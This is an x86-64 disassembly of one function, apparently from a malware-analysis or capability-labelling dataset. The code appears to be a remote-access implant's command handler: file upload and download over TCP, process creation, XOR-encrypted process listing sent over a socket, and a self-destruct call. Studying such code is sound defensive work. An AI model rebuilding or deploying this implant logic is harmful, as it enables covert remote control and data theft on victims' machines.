Function at 0x1400066e0
Capabilities:
Enumerate processes on remote desktop session host
Send data
Send data on socket

Disassembly:
push r15
mov eax, 0x1128
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140008000
sub rsp, rax
xor eax, eax
lea r10, [rsp + 0xa0]
mov rsi, rcx
mov ecx, 0x83
mov rbx, r9
mov rdi, r10
rep stosq qword [rdi], rax
mov eax, dword [rdx + 0x22d0]
cmp eax, 2
je 0x140006c10
ja 0x140006798
test eax, eax
je 0x140006c60
movdqu xmm0, xmmword [rsi]
lea rax, [rsp + 0x60]
mov r8, rdx
mov rcx, r10
xor r9d, r9d
mov rdx, rax
movups xmmword [rsp + 0x60], xmm0
movdqu xmm1, xmmword [rsi + 0x10]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0x2000
movups xmmword [rsp + 0x70], xmm1
call sym.tb_tcp_recv_file
mov r10d, dword [rsp + 0xb0]
test r10d, r10d
je 0x140006811
lea rdx, [rsp + 0xb4]
mov r8d, 0x22d0
mov rcx, rbx
call sym.strncpy
jmp 0x140006827
cmp eax, 3
jne 0x140006808
mov qword [rsp + 0x40], r10
mov dword [rsp + 0x8c], 0
mov qword [rsp + 0x90], 0
call sym.rand
xor edx, edx
xor ecx, ecx
mov r8d, 1
mov r14d, eax
lea rax, [rsp + 0x8c]
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], rax
call sym.WTSEnumerateProcessesA
mov r10, qword [rsp + 0x40]
test eax, eax
jne 0x140006840
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x140006811
call sym.WTSFreeMemory
jmp 0x140006811
cmp eax, 0x63
je 0x140006e73
mov r8d, 0x22d0
lea rdx, str.Success._n
mov rcx, rbx
call sym.strncpy
nop
add rsp, 0x1128
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov eax, dword [rsp + 0x8c]
mov rbp, qword [rsi]
xor edi, edi
mov r15, r10
mov r12, qword [sym.imp.WS2_32.dll_send]
lea r13, [rsp + 0x98]
mov esi, 8
bswap rax
mov qword [rsp + 0x98], rax
jmp 0x14000687f
cdqe
add rdi, rax
cmp rdi, 7
ja 0x140006e00
mov r8d, esi
xor r9d, r9d
lea rdx, [r13 + rdi]
mov rcx, rbp
sub r8d, edi
call r12
cmp eax, 0xffffffff
jne 0x140006870
mov qword [rsp + 0x48], r15
lea rsi, [rsp + 0xd00]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r9d, 0x400
lea rdx, [rsp + 0x4c0]
mov ecx, 0x1300
mov edi, eax
mov r8d, eax
mov qword [rsp + 0x20], rdx
xor edx, edx
mov qword [rsp + 0x4c0], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov r8d, edi
mov rcx, rsi
mov edx, 2
mov r9, qword [rsp + 0x4c0]
lea rdi, [rsp + 0x8e0]
call sym.tb_err
mov rcx, qword [rsp + 0x4c0]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rsp + 0x40], rdi
mov ecx, 0x83
mov r10, qword [rsp + 0x48]
rep movsq qword [rdi], qword [rsi]
mov rsi, qword [rsp + 0x40]
mov ecx, 0x83
mov rdi, r10
rep movsq qword [rdi], qword [rsi]
mov r8d, dword [rsp + 0xb0]
test r8d, r8d
jne 0x140006bee
movsxd r15, r14d
mov eax, r14d
mov rsi, r10
imul r15, r15, 0xffffffff80808081
sar eax, 0x1f
shr r15, 0x20
add r15d, r14d
sar r15d, 7
sub r15d, eax
mov eax, r15d
shl eax, 8
sub eax, r15d
mov r15d, r14d
sub r15d, eax
mov byte [rsp + 0x98], r15b
jmp 0x140006998
test eax, eax
jne 0x140006e25
xor r9d, r9d
mov r8d, 1
mov rdx, r13
mov rcx, rbp
call r12
cmp eax, 0xffffffff
jne 0x140006990
mov qword [rsp + 0x48], rsi
lea rsi, [rsp + 0xd00]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r9d, 0x400
lea rdx, [rsp + 0x4c0]
mov ecx, 0x1300
mov edi, eax
mov r8d, eax
mov qword [rsp + 0x20], rdx
xor edx, edx
mov qword [rsp + 0x4c0], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov r8d, edi
mov rcx, rsi
mov edx, 2
mov r9, qword [rsp + 0x4c0]
call sym.tb_err
mov rcx, qword [rsp + 0x4c0]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdi, qword [rsp + 0x40]
mov ecx, 0x83
mov r10, qword [rsp + 0x48]
rep movsq qword [rdi], qword [rsi]
mov rsi, qword [rsp + 0x40]
mov ecx, 0x83
mov rdi, r10
mov r8, qword [rsp + 0x90]
rep movsq qword [rdi], qword [rsi]
mov eax, dword [rsp + 0xb0]
test eax, eax
jne 0x140006e3f
mov ecx, dword [rsp + 0x8c]
movzx r9d, r15b
lea rdx, [rsp + 0x4c0]
test ecx, ecx
je 0x140006e62
mov dword [rsp + 0x5c], r9d
mov r15d, eax
mov qword [rsp + 0x1188], rbx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r10
nop dword [rax + rax]
mov eax, r15d
lea rsi, [rax + rax*2]
shl rsi, 3
mov rdi, qword [r8 + rsi + 8]
mov rcx, rdi
call sym.strlen
mov r8d, dword [rsp + 0x5c]
mov rcx, rdi
xor edi, edi
mov rdx, rax
mov rbx, rax
call sym.fast_xor_cipher
mov rax, qword [rsp + 0x90]
mov r14, qword [rax + rsi + 8]
mov rax, rbx
mov esi, 8
bswap rax
mov qword [rsp + 0x98], rax
jmp 0x140006aff
cdqe
add rdi, rax
cmp rdi, 7
ja 0x140006cc0
mov r8d, esi
xor r9d, r9d
lea rdx, [r13 + rdi]
mov rcx, rbp
sub r8d, edi
call r12
cmp eax, 0xffffffff
jne 0x140006af0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rsi, [rsp + 0xd00]
mov r9d, 0x400
xor edx, edx
mov edi, eax
mov rax, qword [rsp + 0x40]
mov ecx, 0x1300
mov qword [rsp + 0x8e0], 0
mov r8d, edi
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov r8d, edi
mov rcx, rsi
mov edx, 2
mov r9, qword [rsp + 0x8e0]
call sym.tb_err
mov rcx, qword [rsp + 0x8e0]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdi, qword [rsp + 0x48]
mov ecx, 0x83
mov r8d, dword [rsp + 0xd10]
rep movsq qword [rdi], qword [rsi]
test r8d, r8d
je 0x140006ce0
mov rdx, qword [rsp + 0x48]
mov r10, qword [rsp + 0x50]
mov ecx, 0x83
mov dword [rsp + 0x4d0], r8d
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x1188]
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov dword [rsp + 0x8f0], r8d
mov ecx, 0x83
mov rdi, r10
lea rsi, [rsp + 0x8e0]
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x140006778
call sym.WTSFreeMemory
jmp 0x140006778
movdqu xmm2, xmmword [rsi]
lea rax, [rsp + 0x60]
mov r8, rdx
mov rcx, r10
mov r9d, 0x2000
mov rdx, rax
movups xmmword [rsp + 0x60], xmm2
movdqu xmm3, xmmword [rsi + 0x10]
mov dword [rsp + 0x20], 0
movups xmmword [rsp + 0x70], xmm3
call sym.tb_tcp_send_file
mov r9d, dword [rsp + 0xb0]
test r9d, r9d
je 0x140006811
jmp 0x140006778
lea rsi, [rsp + 0x8e0]
lea r8, [rsp + 0x4c0]
mov qword [rsp + 0x40], r10
mov rcx, rsi
lea rdi, [rsp + 0xd00]
call sym._tb_win32_proc_create
mov ecx, 0x83
rep movsq qword [rdi], qword [rsi]
mov rdi, qword [rsp + 0x40]
lea rsi, [rsp + 0xd00]
mov ecx, 0x83
rep movsq qword [rdi], qword [rsi]
mov r11d, dword [rsp + 0xb0]
test r11d, r11d
je 0x140006811
jmp 0x140006778
mov rcx, qword [rsp + 0x48]
xor r8d, r8d
xor r9d, r9d
xor edx, edx
call sym.tb_err.constprop.0
mov r8d, dword [rsp + 0x4d0]
jmp 0x140006ba0
mov edi, ebx
xor esi, esi
test rbx, rbx
jne 0x140006cfe
jmp 0x140006de0
cdqe
add rsi, rax
cmp rsi, rbx
jae 0x140006de0
mov r8d, edi
xor r9d, r9d
lea rdx, [r14 + rsi]
mov rcx, rbp
sub r8d, esi
call r12
cmp eax, 0xffffffff
jne 0x140006cf0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rsi, [rsp + 0xd00]
mov r9d, 0x400
xor edx, edx
mov ebx, eax
mov r8d, eax
mov ecx, 0x1300
mov qword [rsp + 0x20], r13
mov qword [rsp + 0x98], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov rcx, rsi
mov r8d, ebx
mov edx, 2
mov r9, qword [rsp + 0x98]
call sym.tb_err
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdi, qword [rsp + 0x40]
mov ecx, 0x83
mov eax, dword [rsp + 0xd10]
rep movsq qword [rdi], qword [rsi]
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x40]
mov ecx, 0x83
mov dword [rsp + 0x8f0], eax
rep movsq qword [rdi], qword [rsi]
test eax, eax
jne 0x140006e7b
add r15d, 1
cmp r15d, dword [rsp + 0x8c]
jae 0x140006e55
mov r8, qword [rsp + 0x90]
jmp 0x140006aa0
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call sym.tb_err.constprop.0
mov eax, dword [rsp + 0x8f0]
jmp 0x140006d98
lea rax, [rsp + 0x8e0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x40], rax
mov r10, r15
call sym.tb_err.constprop.0
jmp 0x14000692d
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov r10, rsi
call sym.tb_err.constprop.0
jmp 0x140006a3c
test r8, r8
je 0x140006778
mov rcx, r8
call sym.WTSFreeMemory
jmp 0x140006778
mov rbx, qword [rsp + 0x1188]
jmp 0x1400067ee
test r8, r8
je 0x140006811
mov rcx, r8
jmp 0x1400067fb
mov rcx, r8
call sym.fast_self_destruct
mov rbx, qword [rsp + 0x1188]
jmp 0x140006bee